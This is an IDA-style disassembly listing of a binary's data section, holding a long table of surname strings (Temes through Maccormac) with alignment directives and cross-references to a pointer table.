aTemes		db 'Temes',0            ; DATA XREF: ___:0042E628o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E624o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E620o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E61Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E618o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E614o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E610o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E60Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E608o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E604o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E600o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E5FCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E5F8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5F4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5ECo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5E8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5E4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E5DCo
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E5D8o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E5D4o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E5D0o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5CCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5C8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5C4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5C0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5BCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5B8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5B4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5B0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5ACo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5A8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5A4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5A0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E59Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E598o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E594o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E590o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E58Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E588o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E584o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E580o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E57Co
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E578o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E574o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E570o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E56Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E568o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E564o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E560o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E55Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E558o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E554o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E550o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E54Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E548o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E544o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E540o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E53Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E538o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E534o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E530o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E52Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E528o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E524o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E520o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E51Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E518o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E514o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E510o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E50Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:0042E508o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E504o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E500o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E4FCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E4F8o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E4F4o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E4F0o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E4ECo
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E4E8o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E4E4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E4E0o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E4DCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E4D8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E4D4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E4D0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4CCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4C8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4C4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4C0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4BCo
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4B8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4B4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4B0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4ACo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4A4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4A0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E49Co
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E498o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E494o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E490o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E48Co
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E488o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E484o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E480o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E47Co
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E478o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E474o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E470o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E46Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E468o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E464o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E460o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E45Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E458o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E454o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E450o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E44Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E448o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E444o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E440o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E43Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E438o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E434o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E430o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E42Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E428o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E424o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E420o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E41Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E418o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E414o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E410o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E40Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E408o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E404o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E400o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E3FCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E3F8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E3F4o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E3F0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E3ECo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E3E8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E3E4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E3E0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E3DCo
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E3D8o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E3D4o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E3D0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3CCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3C8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3C4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3C0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3BCo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3B8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3B4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3B0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3ACo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3A8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3A0o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E39Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E398o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E394o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E390o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E38Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E388o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E384o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E380o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E37Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E378o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E374o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E370o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E36Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E368o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E364o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E360o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E35Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E358o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E354o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E350o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E34Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E348o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E344o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E340o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E33Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E338o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E334o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E330o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E32Co
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E328o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E324o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E320o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E31Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E318o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E314o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E310o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E30Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E308o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E304o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E300o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E2F8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E2F4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E2F0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E2ECo
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E2E8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E2E4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E2E0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E2DCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E2D8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E2D4o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E2D0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2CCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2C8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2C4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2C0o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2BCo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2B8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2B4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2ACo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2A8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2A4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2A0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E29Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E298o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E294o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E290o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E28Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E288o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E284o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E280o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E27Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E278o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E274o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E270o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E26Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E268o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E264o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E260o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E25Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E258o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E254o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E250o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E24Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E248o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E244o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E240o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E23Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E238o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E234o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E230o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E22Co
aOman		db 'Oman',0             ; DATA XREF: ___:0042E228o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E224o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E220o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E21Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E218o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E214o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E210o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E20Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E208o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E204o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E200o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E1FCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E1F8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E1F4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E1F0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E1ECo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E1E8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E1E4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E1E0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E1DCo
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E1D8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E1D4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E1D0o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1CCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1C8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1C4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1C0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1BCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1B8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1B4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1B0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1ACo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1A8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1A4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1A0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E19Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E198o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E194o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E190o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E18Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E188o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E184o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E180o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E17Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E178o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E174o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E170o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E16Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E168o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E164o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E160o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E15Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E158o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E154o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E150o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E14Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E148o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E144o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E140o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E13Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E138o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E134o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E130o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E12Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E128o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E124o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E120o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E11Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E118o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E114o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E110o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E10Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E108o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E104o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E100o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E0FCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E0F8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E0F4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E0F0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E0ECo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E0E8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E0E4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E0E0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E0DCo
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E0D8o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E0D4o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E0D0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0CCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0C8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0C4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0C0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0BCo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0B8o
aMay		db 'May',0              ; DATA XREF: ___:0042E0B4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0B0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0ACo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0A8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0A4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0A0o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E09Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E098o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E094o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E090o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E08Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E088o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E084o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E080o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E07Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E078o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E074o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E070o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E06Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E068o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E064o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E060o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E05Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E058o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E054o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E050o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E04Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E048o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E044o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E040o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E03Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E038o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E034o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E030o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E02Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E028o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E024o
		align 10h
